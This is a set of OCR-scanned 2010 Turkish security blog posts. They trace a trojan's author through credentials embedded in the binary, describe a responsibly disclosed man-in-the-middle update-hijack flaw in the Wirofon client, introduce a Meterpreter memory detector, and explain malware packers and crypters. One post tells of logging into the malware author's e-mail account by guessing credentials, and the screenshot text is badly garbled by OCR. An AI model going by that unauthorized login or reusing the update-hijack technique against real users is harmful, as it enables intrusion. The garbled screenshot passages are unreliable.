Line: 50 Col: 28 Modified  Num lock: OFF (Caps lock: OFF Insert: OFF 2,578 GB Free 20:18:06
e SRS — e e

Madem image.exe dosyasinin bu kadar indirilmesi isteniyor, art niyetli kisi veya kisileri kirmayarak image.exe dosyasini indirip g6z
atmaya karar verdim. Dosya iner inmez ikonun sahte oldugu dikkatimi gekti.
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) Downloads

B Inicio.class 20017
2.9 S

Clear List

Dosyanin dzelliklerine baktigimda yazar bilgisinde sn0x yazdigini gordiim. Hex editor ile dosyaya goz attigimda ise winini.exe stringi

dikkatimi ¢ekti. Snox ve winini.exe anahtar kelimelerini Google arama motorunda arattigimda ise dosyanin sifreleme programi ile
sifrelendigi ve trojan olma ihtimalinin yiiksek oldugu anlasiliyordu.

Dosyay1 Immunity Debugger ile ¢alistirdigimda gegerli bir PE dosyas1 olmadigi hatasini aldim. Dosyanin bozuk olma ihtimali oldugu

gibi sanal makinada galiymamak {izere tasarlanmis olma ihtimalide mevcuttu fakat bu yazimdaki amag¢ programi hazirlayan korsan
hakkinda bilgi edinmek oldugu i¢in bu konunun iizerine egilmedim.

Bunun yerine bu sekilde tasarlanmis benzer bagka bir site olup olmadig1 konusunda Google arama moturunda arama yapmaya karar
verdim fakat oncelikle arama icin giizel bir anahtar kelimeye ihtiyacim vardi. Sayfanin kaynak kodunda yer alan baslik (title) bilgisi
bunun i¢in yeterliydi. Baslik (title) bilgisinde yer alan web sitesi ve "Forra" kelimesi, programi hazirlayan kisinin rumuzu hakkinda az
¢ok bilgi veriyordu. Bu baslik bilgisi ile arama yaptigimda karsima benzer bir sekilde tasarlanmis baska bir sayfa hemen cikiverdi.

“FoRRa" - Google'da Ara - Mozilla Firefox

Fle Edt Vew Hstory QBookmarks Tools Help

6 B C a1 | http:ijwwwe. google. comtrjsearchickentmfirefox-aBris=org, mozilla% JAen-US% JAcfficislach

o 75 et - ¥

WA Most Visited | | Getting Started | Latest Headines

N oo i | ) (Unkied) S ForRa” .. B |

Web Gorseller Haberler Cevii Bloglar Takvim Gmail difer v Arama ayaran | Qturum agin
Google  nm— o orre  »
“akdagk 90 sonug (0,05 saniye) —
3 Her gey Ipucu: Aramay sadece Turkge dilinde yap Arama yapacadmiz dili Tercihler ile segebilirsiniz
¥| Dahafazla
Weh ar 201 essages 1. Threads anks at . Bifrost alslmhuye
Turkge yazimig gimdilik ofline konumundadlr _ Arow Disney On Ice %10] Fud ..
Sayfalann bulunduu EoRRaa Crypter Mod JaseBurN - 9 gonderni - 5 1
dlke: Turkiye Msn de .Jpg gibi exe yollama - 9 gor
%100 Fyd C ime (1 Nigan) -
* Daha fazla arag . —— L b
I FoRRa" - [ Eu sayfann cevirisini yap |
Texas Holde Poker Albanian Player | Facebook - [ Bu sayfanir ni yap |

| - Texas Holde Poker Albanian Player. 6:26am May 4 www.
i RR‘I 3¢Bam Apr 10 wwwfacebuok com 3 ﬂamAplS

/pages/Texas-Holde.. /255065039668

www.facebook

Links on "Texas Holde Poker Albanian Player" | Facebook - | Bu sayfanin gevir |
‘Yasemen Kaya Texas Holde Poker Albanian Player
texas_holdom hi| ISR ' oRR

Bu sayfay1 Internet exporer internet tarayicisi ile ziyaret ettigimde ise sadece Java giivenlik uyarisi ile karsilastim, ActiveX eklentisi
sayfanin kaynak kodunda yer almiyordu. Muhtemelen bu sayfa ilk ziyaret ettigim sayfadan daha 6nce hazirlanmisti.
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o - o L) bitp:/ A = 25 _hokdem.himl - [29- y
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Yonlendiriliyor...(Devam etmek igin Run butonuna basyn)

x|

The application's digital signature cannot be verified. P
Do you want to run the application?

[ Absays trust conkent from this publisher

(o]

Mors Information

' The digital sgnature cannot be verified by a brusted source. Orly
) run if you trust the origin of the application.

Bu sayfanin kaynak koduna baktigimda ise bu defa svchost.exe dosyasinin yer aldigi bir adres oldugunu gérdiim. Bu dosyanin PE
baslik bilgisini inceledigimde dosyanimn 10 Nisan 2010 tarih damgasina sahip oldugunu gérdiim. Image.exe dosyasinin tarih damgasi
ise 29 Mayis 2010 tarihini gosteriyordu. Bu bilgiler dogrultusunda ilk ziyaret ettigim sayfanin daha giincel oldugunu teyit etmis oldum.
Svchost.exe dosyasini hex editor ile inceledigimde son satirda yer alan e-posta adresi ve potansiyel e-posta sifresi dikkatimi ¢ekti.

H Hex Workshop - [svchost.exe] "-_“'d'l-g
[ Bl Edt sk Options [ooks Window Help ) 8] %
ISdad 4haaE REABE o9 %Y (B & 0=

Pl Mohe @

[ i 12 ) 1 1F I IF 20 1 ABC] 234 ABCDEFO

| 00 00 00 1] 0o oo 00 0o 00 0o 0o 0o 00 0o 0o oo DD sossnnmnnssnsnnsssnssunssssnssnnsss ~
|00016E90 0o oo 0o oo oo 00 00 [1]v] 00 0o oo [1]u] 00 0o oo 0o R T e o

35 SB 23 5D 42 61 FE 6C FD 6B SB 23 5D 45 61 74 61 20 4D 65 73 61 6A FD 5B 23 5D 15(#]Ba.l.k[#]Hata Mesaj.[#]
| b4
@ svchost exe
fj' set: 94214 (00001 7006] fj' 1 nstances of ‘strings Found in svchost, exe n X
Wl Signed Byte 108 A Address %) | Length %) | Length %) | e
I::'[Lhw-ei:::e 528%4 00016214 16 10 04090480
Signed 5 < 00016232 2 16 CompanyMame
I6NT Linsigned Short 25964 0001625E 2 16 Producthame
3’_“'W Long 1669047148 00016278 18 12 Project99
12H Unsigned Long 1865047148 00016292 2 16 FieVersion
SNNT Signed Quad 3760558961 202783596 0001628E = 1c ProductVersion
SNMT Unsigned Quad 3760558061 2027835596 000162EE 24 18 Internalame
3200 Float 7.1613649e+028 00016308 10 0A myth3
49T Double 2,5790981e-057 00016314 2 20 OrignalFisname
ENHT DATE 00:00:00 30.12.1899 0001633C 18 12 miyth.exe -
1681 DS Dake 12.11.2030
168 115 Time: 17:4%:74 - b X
&J Data Inspector | { ) Structure Viewer | (5 compare | #{ Checksum | @l Find | & Bookmarks 5 output |
Find Al Complete. Offset: 00017026 Sel: -020 bytes 94276 bytes OVR

Bu e-posta adresine belirtilen sifre ile giris yapmay1 denedigimde basarili olamadim fakat kullanic1 adinin sonunda yer alan 0045 bilgisi
bu zamana dek bu kisinin 45 tane kullanici ad1 kayit etmis ve her dosya igin yeni bir e-posta adresi kullanmis olma ihtimalini ortaya
¢ikartmisti. Rastgele gerceklestirdigim bir kag giris denemesi sonrasinda 0030 ile giris yapabildim ve bu kisinin Facebook tizerinde
hesap yarattigini ve muhtemelen bu hesap ile Facebook tizerinden insanlar1 kandirarak bu iki sayfadan birini ziyaret etmelerini ve zararl
programi galistirmalarini saglamisti.
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6 i c i P hittp: e, ktunnelcomyfinde:. phpj 10101 10Aj0a8d2be01 7d1 3659844 3bbdBeadaf 1 F5ac58bI9033c6 31 46c9Thi 1 64cefee] 32621 /b3 De6ds 1 0335631 428900647 164007 ud -"' y

WA Most Visted | | Getting Started Latest Headines

[ e/ /wwwe etunn. . £0b3351 16617528

i Additiond pluging are required to display all the media on this page. Install Missing Plugns... |
Ktunnel.com blocked? Try another!
A - v
.lltel l.qltl" e https {/mail google. com/mailhicE| Go n
O wo cokies (] Ramove scripts ] o refarer Click here to download plugin

content
Gmail Takem DokOmanlar Web Reader difers .lwﬂmd-qmnll.com | Ayarlar | Yardm | Oturumy Kapat
lel II Posta Ara | ‘Web'de Ara ?.r“,':c..,,.‘.,:‘ L
Bosta Olugtug Ar§n.deJ |_Spam Olarak Bildir_| |’|L Cop kutusuna g_or!de_rJ Diger Islemler ¥ || _Git | Yenile 1-5/5
Gelen Kutwsu @) [  Facebook Facebook Hesap Onayi - M t 23 Sub
Yildizh ¥ [0  Facebook Facebook'a Hog Geldin M t 23 Jub
Gonderilmig —
Postalar [ Gmail Ekibi Kigilerinizi ve eski e-pastalanmzi ice aktann 23 Sub
Taslaklar O Gmail Ekibi Gmail'e cep telefonunuzdan erigin 23 Sub
Tim Postalar O Gmail Ekibi Gmail'e baglarken 23 Sub
’-.ng 1 [
A o l Argide ] [ Spam Olarak Bildir | [ Cop kutusuna gonder ] Diger Islemler ~ || Git | Yenils 1-5/5
Kisiler lletileri luzh bir gekilde bulmak igin arama kutusunu veya arama seceneklerini kullanin!
Etiketler 7463 MB kotamizin su anda 7463 MB kotamzin 0 MB (%0) kadan

Grmad gorunimi glandart | temel HTML Daha faghs badgi

@2010 Google- Sadlar- Google Ana Savia

Sonug olarak amaciniz size zarar veren birinin izini sirmek ve kanit toplamak ise sizde bu veya benzer sekillerde biraz gayret ile bunu
basarabilirsiniz. Bunun diginda uyar1 olarak dogrulugundan emin olmadigimiz bir Activex eklentisini veya Java kodunu ¢alistirmadan
once ¢ok cok iyi diisiinmenizi dneririm aksi durumda art niyetli kisilere ait bot aginin bir pargasi olabilirsiniz.

Bir sonraki yazida goriismek dilegiyle...

istemci Tarafindaki Zafiyetler

Source: https://www.mertsarica.com/istemci-tarafindaki-zafiyetler/
By M.S on June 2nd, 2010

e

Ag ve uygulama seviyesinde konumlandirilan saldir1 tespit sistemlerinin gegtigimiz yillara oranla daha etkili koruma mekanizmalarina
sahip olmalar1 ve 6zellikle internete acik olan sunucularin konfigiirasyon ve baglanti noktalar1 diizeyinde sikilastiriliyor (harden)
olmalar1 sunucular lizerindeki saldir yiizeylerini azaltmaktadir. Buna ilaveten giiniimiizde artik ¢ogu iglemin istemci (client) tarafinda
gergeklesiyor olmasi ve insanin dogasi geregi bilgi giivenligindeki en zayif halka olmasi art niyetli kisilerin istemci uygulamalarini
istismar etmeye yoneltmektedir. Ornegin internet iizerinden gergeklesesen saldirilara kars1 olduke¢a korunakli bir sunucuyu ele gecirmek
isteyen art niyetli bir kisinin sunucuyu ele geg¢irmek icin harcayacagi efor ile bu sunucuya erisimi olan bir kullacinin igletim sistemini
ele gegirmeye harcayacagi efor arasinda ugurum olabilir. Sunucuyu ele gegirmek igin 3 farkli saldirt 6nleme mekanizmasini agsmasi
gerekirken diger tiirlii giivenlik zafiyetine sahip olan bir excel dosyasini kurbana géndermesi ve kurbanin bu dosyay1 agmasi art niyetli
kisiyi cok daha kisa siirede, kolay yoldan basariya ulastirabilir. Bu nedenden 6tiirii kullanicilarin bilgi giivenligi farkindaligini arttirmaya
yonelik egitimler, kurumlar igin oldukga biiyiik 6nem arz etmektedir.

Istemci tarafindaki zafiyetlerin istismar edilmesi cogu zaman yamasi giincel olmayan bir uygulamadan kaynaklanabildigi gibi mimari
olarak gerekli kontrolleri uygulamayan bir uygulamadan da kaynaklantyor olabilir. Ornegin kullanici isletim sistemi {izerinde yiiklii
olan bir uygulama haberlesme esnasinda SSL dogrulamasi yapmiyor ve sunucuyu dijital imza ile dogrulamiyorsa, uygulama {izerinden
gergeklesen otomatik giincelleme 6zelliginin kullanici ile sunucu arasina giren art niyetli kisi tarafindan kotiiye kullanilmasi (evilgrade
saldirisi) ile son bulabilir. Bu haftaki yazimda ayni bu sekilde bir soruna yol agabilen Tiirk Telekom firmasinin Wirofon uygulamasinda
kesfetmis oldugum giivenlik agigindan kisaca bahsedecegim.

Oncelikle bu konunun responsible disclosure adina Tiirk Telekom yetkililerine iletildigini ve kendilerinin benimle ¢ok kisa siire
igerisinde iletisime gecerek konuya profesyonelce yaklastiklarini ve bilgi edindigini sdylemek isterim. Akabinde kendileri ile iletigime
geemeye calisarak konu ile ilgili Wirofon uygulamasinda bir giivenlik iyilestirmesi yapilip yapilmayacagi konusunda bilgi edinme
¢abalarimin sonug¢suz kaldiginida tiziilerek belirtmek isterim. Cabalarimin sonugsuz kalmasi neticesinde insanlari bu zafiyet konusunda
bilgilendirmek, olasi istismar girisimleri konusunda dikkatli olmalarini saglamak ve dolayli olarak Tiirk Telekom'un bu zafiyeti ortadan
kaldirmasini saglamak amaciyla yazimda bu konuya yer vermekteyim.

Oncelikle ise Wirofon uygulamasini kurmak ve daha sonrasinda trafigi izlemekle basladim. Malum aradaki sunucu ile uygulama
arasindaki trafik SSL oldugu i¢in araya girmek uygulama seviyesi haricinde pek miimkiin degildi bu nedenle hindi gibi diistiniirken
bir anda Wirofon uygulamasi ile ayn1 klasorde yer alan konfigiirasyon dosyalarina géz atmaya karar verdim ve init.properties dosyasi
icerisinde yer alan satir dikkatimi ¢ekti.
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current_version = 1.1.0.2.7
config_url = https://wrofon.turktel ekom comtr/Prof Mg/ ConfigServl et

domai n_servlet =

Kisa yoldan sifresiz haberlesmenin gergeklesip gerceklesmedigini teyit etmek igin https yerine http://wirofon.turktelekom.com.tr/
ProfMng/ConfigServlet adresine gitmeye calistigimda herhangi bir hata ile karsilasmadigimi farkettim. Bu sayede konfigiirasyon
dosyasindaki config_url parametresinde yer alan adresi https'den http'ye ¢cevirmem ile trafigin sifresiz olarak gergeklesmesini ve bu
sayede trafigi izleyebilmeyi umuyordumki ¢ok gegmeden umdugumu bulabildim.

(Untitled) - Wireshark C rﬁ'&

Ble dt Vew Go Coptwe fnalyze Ratists Telphony ook Help
S EEXZE A+ +a9T L (BE QD $0M% H

Filter: * Expression... Clear Apply
Ne. - Time Source Destnation Protocol Info
2 0.082214 192.168.83.2 192,168. 83,130 DNS standard query response A 212.174.177.33
3 0.561636 192.168.83.130 192.168.83.2 NBNS refresh NB MERT-6756C49361<00>
4 1,500961 192.168.83.130 212.174.177.33 TCP fujitsu-mmpdc > http [SYN] Seq=0 Win=49152 Len=0 MSS=1460
§ 1.530282 212,174.177.33 192.168.83.130 TCP httg > fujitsu-mmpdc [SYN, ACK] Seg=0 Ack=1 win=54240 Len=0 MS5=1460
6 1.530320 192.168,83,130 212.174.177.33 TCP fujitsu-mmpdc > http [ack] s Ack=1l Win=49152 Len=0
7 1.550937 192.168.683.130 212.174.177.33 HTTR GET /ProfMng/configservier?ci 0 HTTR/1.1
B 1.551415 212.174.177.33 192.168.83.130 TCP http > fujits [AcK] sSeq=1l Ack=82 win=64240 Len=0
91.614238 212.174.177.33 192.168.83.130 TCP [TcP segment of a reassembled POU]
10 1.614264 212.174.177.33 192.168.83.130 TCP [TcP segment of a reassembled PDU]
11 1.614274 212.174.177.33 192.168.83.130 HTTR/XML HTTP/1.1 200 OK
12 1.614296 192.168.83.130 212.174.177.33 TCP fujitsu-mmpdc > http [ACK] Seqe82 Ack=3112 win=49152 Lens=0
13 1.874561 192.168.83.130 212.174.177.33 TCP fujitsu-mmpdc > http [FIN, ACK] Seqe=82 Ack=3112 wWin=49152 Len=0
14 1.875328 212.174.177.33 192.168.83.130 TCR http > ftsu-mmpdc [ACK] Seqe=3112 Ack=83 win=64230 Len=0
15 1.897743 212,174.177.33 192.168. 83,130 TCP. http > fujitsu-mmpdc [FIN, PSH, ACK] Seqe3112 Ack«83 win=64239 Lene0
16 1,.897818 192.168.63.130 212.174.177.33 TCP ftsu-mmpdc > http [ACK] Seq=83 Ack=3113 win=49152 Len=0
17 2.061411 192,168,83.130 192,168.83.2 NENS Refresh NB MERT-6756C49361<00>
18 3.561628 192.168.83.130 192.168.83.2 NEBNS Refresh NB MERT-6756C49361<00> v

FEEEEE

29
0010 00 48 3b 3a 00 00 B0 11 d7 95 c0 aB 53 82 c0 a8 .Hii.... ....S

Frame 1 (86 bytes on wire, 86 bytes captured)

Ethernet II, Src: vmware_75:0d:93 (00:0c:29:75:0d:93), Dst; vmware_ef:dd:54 (00:50:56;:ef:dd:54)
Internet Protocol, Src: 192,.168.83.130 (192.168.83.130), Dst: 192.168,83.2 (192.168.83.2)

User Datagram Protocol, Src Port: 37696 (37696), Dst Port: domain (53

pomain Name System (query)

75 0d 93 08 00 45 00  .PV..T.. Ju....E.

0020 53 02 93 40 00 35 00 34 df 32 06 62 01 00 00 01 A

9 72 6T 66 6Ff 6e Ob 74 ....... w irofon.t

& 2
0040 75 72 6b 74 65 6c 65 6b 6F 6d 03 63 6f 6d 02 74 urkrelek om.com.t
r

QD Fie: "CH\DOCUME-~ 1 ADMINI~\LOCALS~11Tem . | Packets: 31 Displayed: 31 Marked: 0 Dropped: 0 Profile: Defaut

Trafigi analiz ettikten sonra Wirofon uygulamasiin galistirildiktan hemen sonra ConfigServlet dosyasina istekte bulundugunu ve
sunucudan gelen yanitta yer alan konfigiirasyon parametrelerine gore konfigiirasyonunu giincelledigini farkettim.

http:ifwirefon. turktelekom.com. tr/ProfMng/ConfigServiet?cid -0101000208 - Windows Internet Explorer

GO' 4 turktelekom. com.tr v Bl x| @ Di-

File Edt Wiew Favortes Tools Help
i Favorkes [ bitp:fwircfon turktslekom. com. trfProfMng/ConfigSer. . B-B " @M - Page= Safetys Toos- =
~
- econfig>
<satting key="default_d in" value=' ktelek com.tr|212.174.177.33|5060" /=

A

<setting key="presence_domain" value="turktelekom.com.tr|212.174.177.33| 5065 />

<satting key="http_profile_manager” value="https://212.174.177.33/ProfMng /" />

<setting key="100rel_supported” value="false" />

<setting key="use_service_route_trick” value="false" />

"use_auth_with_realm” value="false’ />

"use_port_in_sip_uri" value="false” />

<setting key="escape_at_sign_for_auth® valus="false" />

<setting key="keep_alive_delay” value="20" />

<setting key="default_contact_domain” value="turktelekom.com.tr’ />

<setting key="use_unescaped_character_at_http" value="false" />

<setting key="subscribe_expire_time" value="300" />

<setting key="sms_count_column_name" value ="remaining_sms_count” />

<satting key="call_duration_column_name" value="remaining_usage_dur" />

<satting key="call_count_column_name" value="remaining_usage_count" />

<setting key="audio_codec_list" value="iLBC/8000,GSM/8000,PCMU/8000,PCMA/B000,G729/8000° />

<setting key="video_codec_list" value="H264/90000,H263 /90000 />

<setting key="rtp_test_server” value="212.174.177.54|10599,22000,5060" />

<setting key="app_download" value="" />

“app_faq" value="http://www.turktelekom.com” />

y="idle_time_out" valu=="00]20|00" />

<setting key="yellow_pages” value="http://www.ttrehber.gov.tr/trk-wp/IDA2" />

<setting key="company_pages’ value="http://www.turktelekom.com.tr" />

<setting key="account_pages" valus="http://www.turktelekom.com.tr" />

<setting key="max_http_retry_count” value="3" />

<setting key="click_to_dial_banner” valus="http://www.turktelekom.com.tr" /=

<setting key="register_expire_time" value="3600" />

<satting key="latest_version_download_url" value="http:/ /www.wirofon.com/ clients/Wirofon-Client-0.2.7-rc08.exe” |/ >

<satting key="ipass_allowed_ips"
value="212.174.177.66,212.174.177.67,212.174.178.44,212.174.178.50,212.174.178.54,212.174.178.62,212.174.178.65,212.174.177.33,212.174.177.40,212.174.177.44,212.174

<setting key="help_page_url" value="http://www.wirofon.com/html/yardim.asp” />

<setting key="product_main_page_url" value="http:/ /www.wirofon.com” /> -

»
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Parametreleri teker teker inceledigimde en ¢ok dikkatimi latest version download url parametresi ¢ekmisti ¢iinkii eger ben art niyetli
biri olsaydim yapacagim ilk is bu adresi degistirerek kullaniciy1 zararli yazilimm bulundugu adrese yonlendirmek ve kullanicinin bu
dosyay1 calistirmasini beklemek olurdu.

Sanal makina iizerinde MITM saldiris1 gergeklestirerek latest version download url parametresini degistirdigimde program
iizerinde yeni bir siirlimiin ¢ikti§in1 belirten herhangi bir uyari mesaji ile karsilagmadim bunun iizerine otomatik gilincellemeyi
tetikleyebilecek bagka bir parametrenin daha olabilecegini diisiinerek Wirofon uygulamasiin bir dnceki siirimiinii yiikledim ve
ConfigServlet sayfasindan gelen yanitta asagidaki parametreyi farkettim. Uygulama bu parametreyi gordiigiinde Wirofon uygulamasinin
yeni siirimiiniin ¢iktigina dair kullanictyr uyarmakta ve yeni siiriimii indir butonuna basildiginda latest version download url
parametresinde yer alan adresten uygulamanin yeni stirimiinii indirmeye ¢aligmaktaydi.

Bende ayni1 sekilde sunucu ile uygulama arasina girerek bu parametreyi 0.2.8 (malum son siiriim 0.2.7 olunca giincelleme fonksiyonunu
tetiklemek i¢in siiriimii 1 arttirdim) olarak degistirmenin yani sira kendi web sayfamin adresinin yer aldigi latest version _download url
parametresinide kullaniciya gonderdigimde otomatik giincelleme fonksiyonunu tetikletmeyi bagarabildim.

‘Wirofon'un yeni sGrimi bulundu, Wirofon servisi'ni kollanmaya devam etmek igin su anki
s(rimi gincellemeniz gerekmekkedir. Goncelleme yapmak istivor musunuz?

Evet, veni sirimi indir] ’Haylr, programdan ik

Oturum acihyor...

Peki ya SSL ? Internet tarayicilarinda oldugu gibi MITM (ortadaki adam) saldirisinin bagariya ulagmasi i¢in araya girildiginde program
bizi uyarmaz mi veya iletisimi kesmez mi ? Wirofon uygulamasi SSL dogrulamasi yapmadig i¢in ne yazik ki hayir.

Peki hepsi bu kadar m1 ? incelemek lazim.

Konfigiirasyon parametrelerini dikkatlice inceleyecek olursaniz SIP, RTP tiinel sunucu adreslerinin ve haberlesme tiiriiniin bu
parametrelerde yer aldigin1 gorebilirsiniz. MITM (ortadaki adam) saldiris1 gergeklestiren art niyetli bir kisi https parametresini http
ile degistirir ve sunucu adreslerini kendi proxy sunucu adresi ile degistirirse goriismelerinizin sifresiz bir protokol {izerinden ve farkli
bir sunucu iizerinden gergeklesmesini saglayabilir mi ? Teorik olarak evet fakat pratik olarak denemedigim i¢in net birsey sdylemem
miimkiin degil buna ragmen dikkat edilmesi gereken diger bir nokta oldugu i¢in sizlerle paylasmak istedim.

ISP seviyesi ve igletim sistemi seviyesinde gerceklestirilen miidahaleler hari¢c MITM (ortadaki adam) ve evilgrade saldirilarinin basartya
ulasabilmesi i¢in art niyetli kiginin sizinle ayni LAN/WLAN {izerinde olmasi gerektigi i¢in bunun kritik bir giivenlik a¢ig1 oldugunu
sOylemem dogru olmaz fakat yinede ortak internet kullaniminin (yurtlar, cafeler vs.) yaygin oldugu lokasyonlardan internete baglanan
Wirofon kullanicilarinin dikkatli olmasinda fayda var.

Wirofon kullanicilarina 6neri olarak otomatik giincelleme mesaji ile karsilagmalart durumunda programin indirildigi ip adresini kontrol
etmelerini, Tiirk Telekom'a ¢6ziim Onerisi olarak ise Wirofon uygulamasinda SSL dogrulamasini aktif hale getirmelerini ve otomatik
giincelleme esnasinda uygulamanin sunucudan gelen paketleri dogrulayabilmesi ig¢in Gtalk uygulamasinda oldugu gibi dijital imza
kullanmalarini 6nerebilirim.

Ve son olarak amacimin daha 6nceki tiim yazilarimda oldugu gibi bagciyr ddovmek olmadigini, her insan gibi iiziimii yemeden 6nce
kurtlu mu yoksa GDO'lu mu diye kontrol etmek oldugunu belirtmek isterim.
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Konu ile ilgili olarak art niyetli bir kisi tarafindan gergeklestirilebilecek evilgrade saldirisini simiile eden kisa bir video hazirladim,
herkese iyi seyirler dilerim.

Anti Meterpreter

Source: https://www.mertsarica.com/anti-meterpreter-antimeter/
By M.S on May 21st, 2010

=3,

Yaklasik 4 giin 6nce Metasploit'in yeni siiriimii, 3.4.0 yaymlandi. Siiriim notlarina baktigimizda Meterpreter ile ilgili bir ¢ok degisiklik
oldugunu goriiyoruz. Meterpreter'in hemen hemen her pentesterin eli, kolu oldugunu sdyleyebilirim ¢iinkii penetrasyon testlerinde (sayet
core impact gibi bir aract yoksa) hedef sistemi istismar ettikten sonra erigimini devam ettirebilmesi ve derinlemesine penetre edebilmesi
icin en ¢ok ihtiya¢ duyacagi yardimci araglarin basinda gelir.

Bilmeyenleriniz igin meterpreterdan kisaca bahsetmem gerekirse meterpreter, tamamen istismar edilen hedef processin i¢inde yani
hafizada g¢alisabilen, hedef sistemin diski ile herhangi bir etkilesimde bulunmadig: i¢inde standart antiviriis yazilimlari tarafindan
yakalanmayan, destekledigi modiiller sayesinde hedef sistemdeki sifrelerin hashlerini toplamaktan, sniffer olarak ¢alismaya, hedef
sistemin ekranini kayit etmekten, arka kapi olarak hizmet vermeye kadar bir ¢ok 6zelligi iizerinde barindiran erisim sisteme erisim
saglayan yardimei bir arag olarak diigiinebilirsiniz.

Meterpreter ile ilgili bu zamana dek bir ¢ok dokiiman, makale ve video hazirlandigi i¢in bu yazimda meterpreter {izerine fazla birsey
sOylemeyecegim. Meterpreter'mn nasil ¢alistigini, hangi yardimci modiiller ile geldigini ve neler yapilabildigi ile ilgili olarak Irongeek
sitesinde yer alan videoyu izlemenizi tavsiye ediyorum.

Yazimin asil konusuna gelecek olursam, hafta icinde Tiirk Telekom'un istemcilere yiiklettigi bir uygulamada bir giivenlik agig1 kesfettim.
Bu giivenlik agigin1 istismar eden art niyetli bir kisi, bu uygulama kullanicisini kandirarak hazirlamig oldugu zararh yazilimi bu kisiye
gondererek calistirmasini saglayabiliyor. Bu durumu simiile etmek igin sanal makina iizerinde yer alan bir windows xp (kuzu) ile
bir backtrack (kurt) arasinda gecen ve zafiyetin nasil istismar edilebilecegini konu alan ufak bir ¢calisma yaptim. Caligma esnasinda
Backtrack iizerinde Metasploit ile meterpreter programini olugturdum ve giivenlik zafiyetini istismar ederek windows xp'deki kullaniciya
gonderdim ve kullanicinin galistirmasini sagladim. Uygulama kullanicist meterpreter programini ¢alistirdig1 anda art niyetli kisinin
sisteminde ¢aligan Metasploit'e baglanti kuruyor ve art niyetli kisi artik uzaktan bu kullanicinin sisteminde kullanicinin yetkisi ile
yukarida belirtmis oldugum bir ¢ok eylemi gergeklestirebiliyor.

Penetrasyon testinde bir giivenlik zafiyeti kesfettiginizde aklinizin bir kdsesinde bu zafiyeti ortadan kaldiracak yollarida diigiinmeniz
gerekiyor ¢iinkii hazirlayacaginiz raporda ¢oziim onerilerininde yer almasi gerekiyor. Tiirk Telekom'un bu uygulamasi i¢in aklimda bir
kag ¢6ziim yolu vardi heniiz kendileri ile paylagsma firsatim olmad ¢iinkii su zamana kadar sadece kendilerine zafiyetin nerede oldugunu
aciklayabildim.

Diger bir yandan meterpreter'in bu kadar popiiler olmasi ve bu ve benzer bir ¢ok gilivenlik zafiyetinde kullanilmasi nedeniyle meterpreter1
tespit etmek i¢in standart antiviriisler faydali olmuyorsa nasil bir ¢dziim olabilir diye diistinmeye basladim. Madem hafizada ¢alistyor o
zaman belli zaman araliklarinda hafizay tarayan ve meterpreter'in izini siiren ufak bir program hazirlasam ise yarar mi sorusuna yanit
aramaya karar verdim ve ortaya hemen hemen her yazida oldugu gibi yine bir program ¢ikiverdi, Antimeter.

Antimeter programini zaman araligi parametresi belirtmeden c¢alistirmaniz durumunda her 1 dakikada bir hafizayi taramakta ve
meterpreter'a ait iz buldugu taktirde sizi uyarmakta ve bu processi kapatmaniza imkan tanimaktadir. Zaman aralig1 parametresi ile
programi caligtirmak i¢in ise yapmaniz gereken antimeter.exe <dakika cinsinden zaman araligr>

Ornek kullanim: antimeter.exe 5
Programi yukaridaki gibi ¢alistirmaniz durumunda antimeter her 5 dakikada bir hafizay1 tarayacak ve meterpreter'a ait iz siirecektir.

Meterpreter'a ait iz bulmasi durumunda agagidaki gibi bir mesaj ve ses efekti ile sizi uyaracaktir.

[+] Scanning memory...
[+] Meterpreter detected in
llould you like to kill this

[+] Meterpreter detected in
Would you like to kill this process? (yes-nol:
[+] Rescan memory in 1 minute
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Ozellikle internet cafelerde, yurtlarda ve toplu internet kullanilan yani saldirtya agik olan mekanlarda bu uygulamanin kullanilmast
meterpreter korkusu olanlar i¢in faydali olabilir :) Bir sonraki yazida goriigmek dilegiyle herkese iyi haftasonlar: dilerim.

Antimeter programina buradan ulasabilirsiniz.

Sifrelenmis Zararh Yazihmlar

Source: https://www.mertsarica.com/sifrelenmis-zararli-yazilimlar/
By M.S on May 15th, 2010
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Son 2 yazidir Kanald vakasi ile iligkili yazilar yaziyorum bana kalirsa bu vakadan ¢ikartilacak ¢ok fazla ders ve gelecege dair ipuglari
var. Takip edenler bilirler daha 6nceki bir yazimda, yerli ve yabanci hacking sitelerinde, art niyetli yazilimlari antiviriis yazilimlarindan
kagirmak i¢cin hummali bir ¢alisma olduguna dikkat ¢ekmistim. Kanald vakasindaki tus kayit yazilimini, uzaktaki web sitesinden
indirmek i¢in kullanilan kodun sifrelenmis olmasi ileride bu ve benzer sifrelenmis zararli yazilim i¢eren vakalar ile karsilagacagimiza
dair 6nemli bir igaretti.

Bu yazimda bu kisilerin bunu nasil basardiklarindan kisaca s6z edecegim fakat dncesinde sizlere yer alti1 diinyasinda kullanilan 4 terimden
bahsetmem gerekiyor; packer, crypter, binder ve stub.

Packerlar yani paketleyiciler genel olarak programlarin igerigini sikistirmak ve bu sayede program igeriginin hex editér ve benzer
programlar ile okunmasinit engellemek i¢in kullanilirlar. Cogunlukla bu programlari ¢alistirdiginizda, programin akisi normalin aksine
oncelikle bu sikistirmay1 agan ve ¢ogunlukla programlarin sonunda yer alan (stub) algoritmaya yonlenir ve sikigtirilmis igerik agilarak
calismaya baslar. Paketleyicilere 6rnek olarak olduk¢a meshur olan UPX paketleme programini drnek verebilirim.

Crypterlar yani sifreleyiciler paketleyicilerin aksine igerigi sikistirmak yerine sifrelerler ve programin akist paketleyicilerde oldugu
gibi ilerler ve sonunda sifrelenmis zararli yazilim ¢aligma esnasinda program igerisinee gémiilii olan sifre ile sifresini ¢dzer ve calisir.
Cryptlerlara 6rnek olarak meshur olanlardan ASProtect programini 6rnek verebilirim.

Binderlar yani birlestiriciler ise iki farkli programi alip tek bir programa dontistiirmek i¢in kullanilirlar bu sayede tek bir program
calistirdiginiz1 sanirsiniz fakat arkada aslinda iki tane farkli program ¢aligmis olur ve bunlardan biri art niyetli kiginin trojan1 olabilir.
Binderlara 6rnek olarak Microsoft'un iexpress uygulamasini (Start -> run -> iexpress) 6rnek verebilirim.

Stub't ise paketlenmis bir programda, paketin agilmasindan sorumlu algoritma olarak, sifrelenmis bir programda ise sifrenin
¢Oziilmesinden sorumlu algoritma olarak diisiinebilirsiniz.

Stub hazirlama programlarina bakildiginda sifreleme algoritmasi olarak Blowfish, Twofish, Aes, RC4, XOR ve daha bir ¢ok algoritma
destekleyebiliyorlar fakat temel diizeyde bakildiginda en ¢ok karsilagilan algoritmalar RC4 ve XOR oluyor. Malum sifreleme igin
simetrik algoritma kullanildig1 i¢inde binary {izerinde yer alan sifreye ulagmak ve statik olarak bunu tespit etmek miimkiin.

